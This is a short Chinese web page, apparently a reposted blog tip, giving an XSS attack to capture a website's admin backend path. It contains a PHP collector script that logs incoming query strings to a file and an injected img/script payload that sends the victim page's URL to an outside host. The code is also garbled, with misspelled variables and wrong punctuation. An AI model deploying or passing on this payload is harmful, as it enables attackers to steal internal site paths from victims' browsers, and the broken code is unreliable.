XSS截获网站后台路径脚本 - 网站安全 - 自学php

 

 

cook.php

<? $info = $_SERVER['QUSEY_STRING']; if ($info) { $fp = fopen("info.txt"."a"); fwrite($fp.$info."\n"); fclose($fp); } ?>

 

使用代码：

插入:

<img name="ak" width=0 height=0 border=0></img><script>document.ak.src=" http://HdhCmsTest2cto测试数据 /cook.php?"+ windows .location.href;</script>

转自：bai度id已禁 blog

查看更多关于XSS截获网站后台路径脚本 - 网站安全 - 自学php的详细内容...